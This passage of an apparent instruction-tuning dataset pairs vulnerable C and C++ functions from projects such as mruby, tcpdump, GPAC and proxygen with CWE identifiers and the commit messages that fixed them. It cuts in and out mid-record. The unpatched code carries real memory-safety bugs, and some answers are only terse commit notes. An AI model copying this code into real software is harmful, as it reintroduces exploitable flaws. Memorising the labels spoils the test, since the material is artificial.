L_SEND_SYM;\n      }\n\n#ifndef MRB_NO_FLOAT\n      f = mrb_div_float(x, y);\n      SET_FLOAT_VALUE(mrb, regs[a], f);\n#endif\n      NEXT;\n    }\n\n#define OP_MATHI(op_name)                                                   \\\n  /* need to check if op is overridden */                                   \\\n  switch (mrb_type(regs[a])) {                                              \\\n    OP_MATHI_CASE_INTEGER(op_name);                                         \\\n    OP_MATHI_CASE_FLOAT(op_name);                                           \\\n    default:                                                                \\\n      SET_INT_VALUE(mrb,regs[a+1], b);                                      \\\n      mid = MRB_OPSYM(op_name);                                             \\\n      goto L_SEND_SYM;                                                      \\\n  }                                                                         \\\n  NEXT;\n#define OP_MATHI_CASE_INTEGER(op_name)                                      \\\n  case MRB_TT_INTEGER:                                                      \\\n    {                                                                       \\\n      mrb_int x = mrb_integer(regs[a]), y = (mrb_int)b, z;                  \\\n      if (mrb_int_##op_name##_overflow(x, y, &z)) {                         \\\n        OP_MATH_OVERFLOW_INT(op_name,x,y);                                  \\\n      }                                                                     \\\n      else                                                                  \\\n        SET_INT_VALUE(mrb,regs[a], z);                                      \\\n    }                                                                       \\\n    break\n#ifdef MRB_NO_FLOAT\n#define OP_MATHI_CASE_FLOAT(op_name) (void)0\n#else\n#define OP_MATHI_CASE_FLOAT(op_name)                                        \\\n  case MRB_TT_FLOAT:                                                        \\\n    {                                                                       \\\n      mrb_float z = mrb_float(regs[a]) OP_MATH_OP_##op_name b;              \\\n      SET_FLOAT_VALUE(mrb, regs[a], z);                                     \\\n    }                                                                       \\\n    break\n#endif\n\n    CASE(OP_ADDI, BB) {\n      OP_MATHI(add);\n    }\n\n    CASE(OP_SUBI, BB) {\n      OP_MATHI(sub);\n    }\n\n#define OP_CMP_BODY(op,v1,v2) (v1(regs[a]) op v2(regs[a+1]))\n\n#ifdef MRB_NO_FLOAT\n#define OP_CMP(op,sym) do {\\\n  int result;\\\n  /* need to check if - is overridden */\\\n  switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {\\\n  case TYPES2(MRB_TT_INTEGER,MRB_TT_INTEGER):\\\n    result = OP_CMP_BODY(op,mrb_fixnum,mrb_fixnum);\\\n    break;\\\n  default:\\\n    mid = MRB_OPSYM(sym);\\\n    goto L_SEND_SYM;\\\n  }\\\n  if (result) {\\\n    SET_TRUE_VALUE(regs[a]);\\\n  }\\\n  else {\\\n    SET_FALSE_VALUE(regs[a]);\\\n  }\\\n} while(0)\n#else\n#define OP_CMP(op, sym) do {\\\n  int result;\\\n  /* need to check if - is overridden */\\\n  switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {\\\n  case TYPES2(MRB_TT_INTEGER,MRB_TT_INTEGER):\\\n    result = OP_CMP_BODY(op,mrb_fixnum,mrb_fixnum);\\\n    break;\\\n  case TYPES2(MRB_TT_INTEGER,MRB_TT_FLOAT):\\\n    result = OP_CMP_BODY(op,mrb_fixnum,mrb_float);\\\n    break;\\\n  case TYPES2(MRB_TT_FLOAT,MRB_TT_INTEGER):\\\n    result = OP_CMP_BODY(op,mrb_float,mrb_fixnum);\\\n    break;\\\n  case TYPES2(MRB_TT_FLOAT,MRB_TT_FLOAT):\\\n    result = OP_CMP_BODY(op,mrb_float,mrb_float);\\\n    break;\\\n  default:\\\n    mid = MRB_OPSYM(sym);\\\n    goto L_SEND_SYM;\\\n  }\\\n  if (result) {\\\n    SET_TRUE_VALUE(regs[a]);\\\n  }\\\n  else {\\\n    SET_FALSE_VALUE(regs[a]);\\\n  }\\\n} while(0)\n#endif\n\n    CASE(OP_EQ, B) {\n      if (mrb_obj_eq(mrb, regs[a], regs[a+1])) {\n        SET_TRUE_VALUE(regs[a]);\n      }\n      else {\n        OP_CMP(==,eq);\n      }\n      NEXT;\n    }\n\n    CASE(OP_LT, B) {\n      OP_CMP(<,lt);\n      NEXT;\n    }\n\n    CASE(OP_LE, B) {\n      OP_CMP(<=,le);\n      NEXT;\n    }\n\n    CASE(OP_GT, B) {\n      OP_CMP(>,gt);\n      NEXT;\n    }\n\n    CASE(OP_GE, B) {\n      OP_CMP(>=,ge);\n      NEXT;\n    }\n\n    CASE(OP_ARRAY, BB) {\n      regs[a] = mrb_ary_new_from_values(mrb, b, ®s[a]);\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n    CASE(OP_ARRAY2, BBB) {\n      regs[a] = mrb_ary_new_from_values(mrb, c, ®s[b]);\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_ARYCAT, B) {\n      mrb_value splat = mrb_ary_splat(mrb, regs[a+1]);\n      if (mrb_nil_p(regs[a])) {\n        regs[a] = splat;\n      }\n      else {\n        mrb_assert(mrb_array_p(regs[a]));\n        mrb_ary_concat(mrb, regs[a], splat);\n      }\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_ARYPUSH, BB) {\n      mrb_assert(mrb_array_p(regs[a]));\n      for (mrb_int i=0; i pre + post) {\n        v = mrb_ary_new_from_values(mrb, len - pre - post, ARY_PTR(ary)+pre);\n        regs[a++] = v;\n        while (post--) {\n          regs[a++] = ARY_PTR(ary)[len-post-1];\n        }\n      }\n      else {\n        v = mrb_ary_new_capa(mrb, 0);\n        regs[a++] = v;\n        for (idx=0; idx+pre> 2;\n      if (pool[b].tt & IREP_TT_SFLAG) {\n        sym = mrb_intern_static(mrb, pool[b].u.str, len);\n      }\n      else {\n        sym  = mrb_intern(mrb, pool[b].u.str, len);\n      }\n      regs[a] = mrb_symbol_value(sym);\n      NEXT;\n    }\n\n    CASE(OP_STRING, BB) {\n      mrb_int len;\n\n      mrb_assert((pool[b].tt&IREP_TT_NFLAG)==0);\n      len = pool[b].tt >> 2;\n      if (pool[b].tt & IREP_TT_SFLAG) {\n        regs[a] = mrb_str_new_static(mrb, pool[b].u.str, len);\n      }\n      else {\n        regs[a] = mrb_str_new(mrb, pool[b].u.str, len);\n      }\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_STRCAT, B) {\n      mrb_assert(mrb_string_p(regs[a]));\n      mrb_str_concat(mrb, regs[a], regs[a+1]);\n      NEXT;\n    }\n\n    CASE(OP_HASH, BB) {\n      mrb_value hash = mrb_hash_new_capa(mrb, b);\n      int i;\n      int lim = a+b*2;\n\n      for (i=a; ireps[b];\n\n      if (c & OP_L_CAPTURE) {\n        p = mrb_closure_new(mrb, nirep);\n      }\n      else {\n        p = mrb_proc_new(mrb, nirep);\n        p->flags |= MRB_PROC_SCOPE;\n      }\n      if (c & OP_L_STRICT) p->flags |= MRB_PROC_STRICT;\n      regs[a] = mrb_obj_value(p);\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n    CASE(OP_BLOCK, BB) {\n      c = OP_L_BLOCK;\n      goto L_MAKE_LAMBDA;\n    }\n    CASE(OP_METHOD, BB) {\n      c = OP_L_METHOD;\n      goto L_MAKE_LAMBDA;\n    }\n\n    CASE(OP_RANGE_INC, B) {\n      mrb_value v = mrb_range_new(mrb, regs[a], regs[a+1], FALSE);\n      regs[a] = v;\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_RANGE_EXC, B) {\n      mrb_value v = mrb_range_new(mrb, regs[a], regs[a+1], TRUE);\n      regs[a] = v;\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_OCLASS, B) {\n      regs[a] = mrb_obj_value(mrb->object_class);\n      NEXT;\n    }\n\n    CASE(OP_CLASS, BB) {\n      struct RClass *c = 0, *baseclass;\n      mrb_value base, super;\n      mrb_sym id = syms[b];\n\n      base = regs[a];\n      super = regs[a+1];\n      if (mrb_nil_p(base)) {\n        baseclass = MRB_PROC_TARGET_CLASS(mrb->c->ci->proc);\n        if (!baseclass) baseclass = mrb->object_class;\n        base = mrb_obj_value(baseclass);\n      }\n      c = mrb_vm_define_class(mrb, base, super, id);\n      regs[a] = mrb_obj_value(c);\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_MODULE, BB) {\n      struct RClass *cls = 0, *baseclass;\n      mrb_value base;\n      mrb_sym id = syms[b];\n\n      base = regs[a];\n      if (mrb_nil_p(base)) {\n        baseclass = MRB_PROC_TARGET_CLASS(mrb->c->ci->proc);\n        if (!baseclass) baseclass = mrb->object_class;\n        base = mrb_obj_value(baseclass);\n      }\n      cls = mrb_vm_define_module(mrb, base, id);\n      regs[a] = mrb_obj_value(cls);\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_EXEC, BB)\n    {\n      mrb_value recv = regs[a];\n      struct RProc *p;\n      const mrb_irep *nirep = irep->reps[b];\n\n      /* prepare closure */\n      p = mrb_proc_new(mrb, nirep);\n      p->c = NULL;\n      mrb_field_write_barrier(mrb, (struct RBasic*)p, (struct RBasic*)proc);\n      MRB_PROC_SET_TARGET_CLASS(p, mrb_class_ptr(recv));\n      p->flags |= MRB_PROC_SCOPE;\n\n      /* prepare call stack */\n      cipush(mrb, a, 0, mrb_class_ptr(recv), p, 0, 0);\n\n      irep = p->body.irep;\n      pool = irep->pool;\n      syms = irep->syms;\n      mrb_stack_extend(mrb, irep->nregs);\n      stack_clear(regs+1, irep->nregs-1);\n      pc = irep->iseq;\n      JUMP;\n    }\n\n    CASE(OP_DEF, BB) {\n      struct RClass *target = mrb_class_ptr(regs[a]);\n      struct RProc *p = mrb_proc_ptr(regs[a+1]);\n      mrb_method_t m;\n      mrb_sym mid = syms[b];\n\n      MRB_METHOD_FROM_PROC(m, p);\n      mrb_define_method_raw(mrb, target, mid, m);\n      mrb_method_added(mrb, target, mid);\n      mrb_gc_arena_restore(mrb, ai);\n      regs[a] = mrb_symbol_value(mid);\n      NEXT;\n    }\n\n    CASE(OP_SCLASS, B) {\n      regs[a] = mrb_singleton_class(mrb, regs[a]);\n      mrb_gc_arena_restore(mrb, ai);\n      NEXT;\n    }\n\n    CASE(OP_TCLASS, B) {\n      struct RClass *target = check_target_class(mrb);\n      if (!target) goto L_RAISE;\n      regs[a] = mrb_obj_value(target);\n      NEXT;\n    }\n\n    CASE(OP_ALIAS, BB) {\n      struct RClass *target = check_target_class(mrb);\n\n      if (!target) goto L_RAISE;\n      mrb_alias_method(mrb, target, syms[a], syms[b]);\n      mrb_method_added(mrb, target, syms[a]);\n      NEXT;\n    }\n    CASE(OP_UNDEF, B) {\n      struct RClass *target = check_target_class(mrb);\n\n      if (!target) goto L_RAISE;\n      mrb_undef_method_id(mrb, target, syms[a]);\n      NEXT;\n    }\n\n    CASE(OP_DEBUG, Z) {\n      FETCH_BBB();\n#ifdef MRB_USE_DEBUG_HOOK\n      mrb->debug_op_hook(mrb, irep, pc, regs);\n#else\n#ifndef MRB_NO_STDIO\n      printf(\"OP_DEBUG %d %d %d\\n\", a, b, c);\n#else\n      abort();\n#endif\n#endif\n      NEXT;\n    }\n\n    CASE(OP_ERR, B) {\n      size_t len = pool[a].tt >> 2;\n      mrb_value exc;\n\n      mrb_assert((pool[a].tt&IREP_TT_NFLAG)==0);\n      exc = mrb_exc_new(mrb, E_LOCALJUMP_ERROR, pool[a].u.str, len);\n      mrb_exc_set(mrb, exc);\n      goto L_RAISE;\n    }\n\n    CASE(OP_EXT1, Z) {\n      insn = READ_B();\n      switch (insn) {\n#define OPCODE(insn,ops) case OP_ ## insn: FETCH_ ## ops ## _1(); mrb->c->ci->pc = pc; goto L_OP_ ## insn ## _BODY;\n#include \"mruby/ops.h\"\n#undef OPCODE\n      }\n      pc--;\n      NEXT;\n    }\n    CASE(OP_EXT2, Z) {\n      insn = READ_B();\n      switch (insn) {\n#define OPCODE(insn,ops) case OP_ ## insn: FETCH_ ## ops ## _2(); mrb->c->ci->pc = pc; goto L_OP_ ## insn ## _BODY;\n#include \"mruby/ops.h\"\n#undef OPCODE\n      }\n      pc--;\n      NEXT;\n    }\n    CASE(OP_EXT3, Z) {\n      uint8_t insn = READ_B();\n      switch (insn) {\n#define OPCODE(insn,ops) case OP_ ## insn: FETCH_ ## ops ## _3(); mrb->c->ci->pc = pc; goto L_OP_ ## insn ## _BODY;\n#include \"mruby/ops.h\"\n#undef OPCODE\n      }\n      pc--;\n      NEXT;\n    }\n\n    CASE(OP_STOP, Z) {\n      /*        stop VM */\n      CHECKPOINT_RESTORE(RBREAK_TAG_STOP) {\n        /* do nothing */\n      }\n      CHECKPOINT_MAIN(RBREAK_TAG_STOP) {\n        UNWIND_ENSURE(mrb, mrb->c->ci, pc, RBREAK_TAG_STOP, proc, mrb_nil_value());\n      }\n      CHECKPOINT_END(RBREAK_TAG_STOP);\n    L_STOP:\n      mrb->jmp = prev_jmp;\n      if (mrb->exc) {\n        mrb_assert(mrb->exc->tt == MRB_TT_EXCEPTION);\n        return mrb_obj_value(mrb->exc);\n      }\n      return regs[irep->nlocals];\n    }\n  }\n  END_DISPATCH;\n#undef regs\n  }\n  MRB_CATCH(&c_jmp) {\n    mrb_callinfo *ci = mrb->c->ci;\n    while (ci > mrb->c->cibase && ci->cci == CINFO_DIRECT) {\n      ci = cipop(mrb);\n    }\n    exc_catched = TRUE;\n    pc = ci->pc;\n    goto RETRY_TRY_BLOCK;\n  }\n  MRB_END_EXC(&c_jmp);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'vm.c (hash_new_from_regs): stack may be reallocated.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool initiate_stratum(struct pool *pool)\n{\n\tbool ret = false, recvd = false, noresume = false, sockd = false;\n\tchar s[RBUFSIZE], *sret = NULL, *nonce1, *sessionid;\n\tjson_t *val = NULL, *res_val, *err_val;\n\tjson_error_t err;\n\tint n2size;\n\nresend:\n\tif (!setup_stratum_socket(pool)) {\n\t\t/* FIXME: change to LOG_DEBUG when issue #88 resolved */\n\t\tapplog(LOG_INFO, \"setup_stratum_socket() on %s failed\", get_pool_name(pool));\n\t\tsockd = false;\n\t\tgoto out;\n\t}\n\n\tsockd = true;\n\n\tif (recvd) {\n\t\t/* Get rid of any crap lying around if we're resending */\n\t\tclear_sock(pool);\n\t\tsprintf(s, \"{\\\"id\\\": %d, \\\"method\\\": \\\"mining.subscribe\\\", \\\"params\\\": []}\", swork_id++);\n\t} else {\n\t\tif (pool->sessionid)\n\t\t\tsprintf(s, \"{\\\"id\\\": %d, \\\"method\\\": \\\"mining.subscribe\\\", \\\"params\\\": [\\\"\"PACKAGE\"/\"VERSION\"\\\", \\\"%s\\\"]}\", swork_id++, pool->sessionid);\n\t\telse\n\t\t\tsprintf(s, \"{\\\"id\\\": %d, \\\"method\\\": \\\"mining.subscribe\\\", \\\"params\\\": [\\\"\"PACKAGE\"/\"VERSION\"\\\"]}\", swork_id++);\n\t}\n\n\tif (__stratum_send(pool, s, strlen(s)) != SEND_OK) {\n\t\tapplog(LOG_DEBUG, \"Failed to send s in initiate_stratum\");\n\t\tgoto out;\n\t}\n\n\tif (!socket_full(pool, DEFAULT_SOCKWAIT)) {\n\t\tapplog(LOG_DEBUG, \"Timed out waiting for response in initiate_stratum\");\n\t\tgoto out;\n\t}\n\n\tsret = recv_line(pool);\n\tif (!sret)\n\t\tgoto out;\n\n\trecvd = true;\n\n\tval = JSON_LOADS(sret, &err);\n\tfree(sret);\n\tif (!val) {\n\t\tapplog(LOG_INFO, \"JSON decode failed(%d): %s\", err.line, err.text);\n\t\tgoto out;\n\t}\n\n\tres_val = json_object_get(val, \"result\");\n\terr_val = json_object_get(val, \"error\");\n\n\tif (!res_val || json_is_null(res_val) ||\n\t    (err_val && !json_is_null(err_val))) {\n\t\tchar *ss;\n\n\t\tif (err_val)\n\t\t\tss = json_dumps(err_val, JSON_INDENT(3));\n\t\telse\n\t\t\tss = strdup(\"(unknown reason)\");\n\n\t\tapplog(LOG_INFO, \"JSON-RPC decode failed: %s\", ss);\n\n\t\tfree(ss);\n\n\t\tgoto out;\n\t}\n\n\tsessionid = get_sessionid(res_val);\n\tif (!sessionid)\n\t\tapplog(LOG_DEBUG, \"Failed to get sessionid in initiate_stratum\");\n\tnonce1 = json_array_string(res_val, 1);\n\tif (!nonce1) {\n\t\tapplog(LOG_INFO, \"Failed to get nonce1 in initiate_stratum\");\n\t\tfree(sessionid);\n\t\tgoto out;\n\t}\n\tn2size = json_integer_value(json_array_get(res_val, 2));\n\tif (!n2size) {\n\t\tapplog(LOG_INFO, \"Failed to get n2size in initiate_stratum\");\n\t\tfree(sessionid);\n\t\tfree(nonce1);\n\t\tgoto out;\n\t}\n\n\tcg_wlock(&pool->data_lock);\n\tpool->sessionid = sessionid;\n\tpool->nonce1 = nonce1;\n\tpool->n1_len = strlen(nonce1) / 2;\n\tfree(pool->nonce1bin);\n\tpool->nonce1bin = (unsigned char *)calloc(pool->n1_len, 1);\n\tif (unlikely(!pool->nonce1bin))\n\t\tquithere(1, \"Failed to calloc pool->nonce1bin\");\n\thex2bin(pool->nonce1bin, pool->nonce1, pool->n1_len);\n\tpool->n2size = n2size;\n\tcg_wunlock(&pool->data_lock);\n\n\tif (sessionid)\n\t\tapplog(LOG_DEBUG, \"%s stratum session id: %s\", get_pool_name(pool), pool->sessionid);\n\n\tret = true;\nout:\n\tif (ret) {\n\t\tif (!pool->stratum_url)\n\t\t\tpool->stratum_url = pool->sockaddr_url;\n\t\tpool->stratum_active = true;\n\t\tpool->swork.diff = 1;\n\t\tif (opt_protocol) {\n\t\t\tapplog(LOG_DEBUG, \"%s confirmed mining.subscribe with extranonce1 %s extran2size %d\",\n\t\t\t       get_pool_name(pool), pool->nonce1, pool->n2size);\n\t\t}\n\t} else {\n\t\tif (recvd && !noresume) {\n\t\t\t/* Reset the sessionid used for stratum resuming in case the pool\n\t\t\t* does not support it, or does not know how to respond to the\n\t\t\t* presence of the sessionid parameter. */\n\t\t\tcg_wlock(&pool->data_lock);\n\t\t\tfree(pool->sessionid);\n\t\t\tfree(pool->nonce1);\n\t\t\tpool->sessionid = pool->nonce1 = NULL;\n\t\t\tcg_wunlock(&pool->data_lock);\n\n\t\t\tapplog(LOG_DEBUG, \"Failed to resume stratum, trying afresh\");\n\t\t\tnoresume = true;\n\t\t\tjson_decref(val);\n\t\t\tgoto resend;\n\t\t}\n\t\tapplog(LOG_DEBUG, \"Initiating stratum failed on %s\", get_pool_name(pool));\n\t\tif (sockd) {\n\t\t  applog(LOG_DEBUG, \"Suspending stratum on %s\", get_pool_name(pool));\n\t\t\tsuspend_stratum(pool);\n\t\t}\n\t}\n\n\tjson_decref(val);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Bugfix: initiate_stratum: Ensure extranonce2 size is not negative (which could lead to exploits later as too little memory gets allocated)\n\nThanks to Mick Ayzenberg  for finding this!'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: juniper_atm2_print(netdissect_options *ndo,\n                   const struct pcap_pkthdr *h, register const u_char *p)\n{\n        int llc_hdrlen;\n\n        struct juniper_l2info_t l2info;\n\n        l2info.pictype = DLT_JUNIPER_ATM2;\n        if (juniper_parse_header(ndo, p, h, &l2info) == 0)\n            return l2info.header_len;\n\n        p+=l2info.header_len;\n\n        if (l2info.cookie[7] & ATM2_PKT_TYPE_MASK) { /* OAM cell ? */\n            oam_print(ndo, p, l2info.length, ATM_OAM_NOHEC);\n            return l2info.header_len;\n        }\n\n        if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */\n            EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */\n\n            llc_hdrlen = llc_print(ndo, p, l2info.length, l2info.caplen, NULL, NULL);\n            if (llc_hdrlen > 0)\n                return l2info.header_len;\n        }\n\n        if (l2info.direction != JUNIPER_BPF_PKT_IN && /* ether-over-1483 encaps ? */\n            (EXTRACT_32BITS(l2info.cookie) & ATM2_GAP_COUNT_MASK)) {\n            ether_print(ndo, p, l2info.length, l2info.caplen, NULL, NULL);\n            return l2info.header_len;\n        }\n\n        if (p[0] == 0x03) { /* Cisco style NLPID encaps ? */\n            isoclns_print(ndo, p + 1, l2info.length - 1);\n            /* FIXME check if frame was recognized */\n            return l2info.header_len;\n        }\n\n        if(juniper_ppp_heuristic_guess(ndo, p, l2info.length) != 0) /* PPPoA vcmux encaps ? */\n            return l2info.header_len;\n\n        if (ip_heuristic_guess(ndo, p, l2info.length) != 0) /* last try - vcmux encaps ? */\n            return l2info.header_len;\n\n\treturn l2info.header_len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-12993/Juniper: Add more bounds checks.\n\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nAdd tests using the capture files supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err BD_DecMFFieldVec(GF_BifsDecoder * codec, GF_BitStream *bs, GF_Node *node, GF_FieldInfo *field, Bool is_mem_com)\n{\n\tGF_Err e;\n\tu32 NbBits, nbFields;\n\tu32 i;\n\tGF_ChildNodeItem *last;\n\tu8 qp_local, qp_on, initial_qp;\n\tGF_FieldInfo sffield;\n\n\tmemset(&sffield, 0, sizeof(GF_FieldInfo));\n\tsffield.fieldIndex = field->fieldIndex;\n\tsffield.fieldType = gf_sg_vrml_get_sf_type(field->fieldType);\n\tsffield.NDTtype = field->NDTtype;\n\tsffield.name = field->name;\n\n\tinitial_qp = qp_local = qp_on = 0;\n\n\t//vector description - alloc the MF size before\n\tNbBits = gf_bs_read_int(bs, 5);\n\tnbFields = gf_bs_read_int(bs, NbBits);\n\n\tif (codec->ActiveQP) {\n\t\tinitial_qp = 1;\n\t\t/*this is for QP 14*/\n\t\tgf_bifs_dec_qp14_set_length(codec, nbFields);\n\t}\n\n\tif (field->fieldType != GF_SG_VRML_MFNODE) {\n\t\te = gf_sg_vrml_mf_alloc(field->far_ptr, field->fieldType, nbFields);\n\t\tif (e) return e;\n\n\t\tfor (i=0; ifar_ptr, field->fieldType, & sffield.far_ptr, i);\n\t\t\tif (e) return e;\n\t\t\te = gf_bifs_dec_sf_field(codec, bs, node, &sffield, GF_FALSE);\n\t\t\tif (e) return e;\n\t\t}\n\t} else {\n\t\tlast = NULL;\n\t\tfor (i=0; iNDTtype);\n\t\t\tif (new_node) {\n\t\t\t\te = gf_node_register(new_node, is_mem_com ? NULL : node);\n\t\t\t\tif (e) return e;\n\n\t\t\t\tif (node) {\n\t\t\t\t\t/*special case for QP, register as the current QP*/\n\t\t\t\t\tif (gf_node_get_tag(new_node) == TAG_MPEG4_QuantizationParameter) {\n\t\t\t\t\t\tqp_local = ((M_QuantizationParameter *)new_node)->isLocal;\n\t\t\t\t\t\t/*we have a QP in the same scope, remove previous\n\t\t\t\t\t\tNB: we assume this is the right behavior, the spec doesn't say\n\t\t\t\t\t\twhether QP is cumulative or not*/\n\t\t\t\t\t\tif (qp_on) gf_bifs_dec_qp_remove(codec, GF_FALSE);\n\n\t\t\t\t\t\te = gf_bifs_dec_qp_set(codec, new_node);\n\t\t\t\t\t\tif (e) return e;\n\t\t\t\t\t\tqp_on = 1;\n\t\t\t\t\t\tif (qp_local) qp_local = 2;\n\t\t\t\t\t\tif (codec->force_keep_qp) {\n\t\t\t\t\t\t\te = gf_node_list_add_child_last(field->far_ptr, new_node, &last);\n\t\t\t\t\t\t\tif (e) return e;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tgf_node_register(new_node, NULL);\n\t\t\t\t\t\t\tgf_node_unregister(new_node, node);\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\te = gf_node_list_add_child_last(field->far_ptr, new_node, &last);\n\t\t\t\t\t\tif (e) return e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t/*proto coding*/\n\t\t\t\telse if (codec->pCurrentProto) {\n\t\t\t\t\t/*TO DO: what happens if this is a QP node on the interface ?*/\n\t\t\t\t\te = gf_node_list_add_child_last( (GF_ChildNodeItem **)field->far_ptr, new_node, &last);\n\t\t\t\t\tif (e) return e;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn codec->LastError ? codec->LastError : GF_NON_COMPLIANT_BITSTREAM;\n\t\t\t}\n\t\t}\n\t\t/*according to the spec, the QP applies to the current node itself, not just children.\n\t\tIf IsLocal is TRUE remove the node*/\n\t\tif (qp_on && qp_local) {\n\t\t\tif (qp_local == 2) {\n//\t\t\t\tqp_local = 1;\n\t\t\t} else {\n\t\t\t\t//ask to get rid of QP and reactivate if we had a QP when entering the node\n\t\t\t\tgf_bifs_dec_qp_remove(codec, initial_qp);\n//\t\t\t\tqp_local = 0;\n\t\t\t}\n\t\t}\n\t}\n\t/*finally delete the QP if any (local or not) as we get out of this node*/\n\tif (qp_on) gf_bifs_dec_qp_remove(codec, GF_TRUE);\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'fixed #2212'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void HTTPSession::onCertificateRequest(uint16_t requestId,\n                                       std::unique_ptr authRequest) {\n  DestructorGuard dg(this);\n  VLOG(4) << \"CERTIFICATE_REQUEST on\" << *this << \", requestId=\" << requestId;\n\n  std::pair> authenticator;\n  auto fizzBase = getTransport()->getUnderlyingTransport();\n  if (fizzBase) {\n    if (isUpstream()) {\n      authenticator =\n          secondAuthManager_->getAuthenticator(*fizzBase,\n                                               TransportDirection::UPSTREAM,\n                                               requestId,\n                                               std::move(authRequest));\n    } else {\n      authenticator =\n          secondAuthManager_->getAuthenticator(*fizzBase,\n                                               TransportDirection::DOWNSTREAM,\n                                               requestId,\n                                               std::move(authRequest));\n    }\n  } else {\n    VLOG(4) << \"Underlying transport does not support secondary \"\n               \"authentication.\";\n    return;\n  }\n  if (codec_->generateCertificate(writeBuf_,\n                                  authenticator.first,\n                                  std::move(authenticator.second)) > 0) {\n    scheduleWrite();\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Check that a secondary auth manager is set before dereferencing.\n\nSummary: CVE-2018-6343\n\nReviewed By: mingtaoy\n\nDifferential Revision: D12994423\n\nfbshipit-source-id: 9229ec11da8085f1fa153595e8e5353e19d06fb7'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static block_t *Encode( encoder_t *p_enc, picture_t *p_pic )\n{\n    encoder_sys_t *p_sys = p_enc->p_sys;\n    block_t *p_block, *p_output_chain = NULL;\n    SchroFrame *p_frame;\n    bool b_go = true;\n\n    if( !p_pic ) {\n        if( !p_sys->started || p_sys->b_eos_pulled )\n            return NULL;\n\n        if( !p_sys->b_eos_signalled ) {\n            p_sys->b_eos_signalled = 1;\n            schro_encoder_end_of_stream( p_sys->p_schro );\n        }\n    } else {\n        /* we only know if the sequence is interlaced when the first\n         * picture arrives, so final setup is done here */\n        /* XXX todo, detect change of interlace */\n        p_sys->p_format->interlaced = !p_pic->b_progressive;\n        p_sys->p_format->top_field_first = p_pic->b_top_field_first;\n\n        if( p_sys->b_auto_field_coding )\n            schro_encoder_setting_set_double( p_sys->p_schro, \"interlaced_coding\", !p_pic->b_progressive );\n    }\n\n    if( !p_sys->started ) {\n        date_t date;\n\n        if( p_pic->format.i_chroma != p_enc->fmt_in.i_codec ) {\n            char chroma_in[5], chroma_out[5];\n            vlc_fourcc_to_char( p_pic->format.i_chroma, chroma_in );\n            chroma_in[4]  = '\\0';\n            chroma_out[4] = '\\0';\n            vlc_fourcc_to_char( p_enc->fmt_in.i_codec, chroma_out );\n            msg_Warn( p_enc, \"Resetting chroma from %s to %s\", chroma_out, chroma_in );\n            if( !SetEncChromaFormat( p_enc, p_pic->format.i_chroma ) ) {\n                msg_Err( p_enc, \"Could not reset chroma format to %s\", chroma_in );\n                return NULL;\n            }\n        }\n\n        date_Init( &date, p_enc->fmt_in.video.i_frame_rate, p_enc->fmt_in.video.i_frame_rate_base );\n        /* FIXME - Unlike dirac-research codec Schro doesn't have a function that returns the delay in pics yet.\n         *   Use a default of 1\n         */\n        date_Increment( &date, 1 );\n        p_sys->i_pts_offset = date_Get( &date );\n        if( schro_encoder_setting_get_double( p_sys->p_schro, \"interlaced_coding\" ) > 0.0 ) {\n            date_Set( &date, 0 );\n            date_Increment( &date, 1);\n            p_sys->i_field_time = date_Get( &date ) / 2;\n        }\n\n        schro_video_format_set_std_signal_range( p_sys->p_format, SCHRO_SIGNAL_RANGE_8BIT_VIDEO );\n        schro_encoder_set_video_format( p_sys->p_schro, p_sys->p_format );\n        schro_encoder_start( p_sys->p_schro );\n        p_sys->started = 1;\n    }\n\n    if( !p_sys->b_eos_signalled ) {\n        /* create a schro 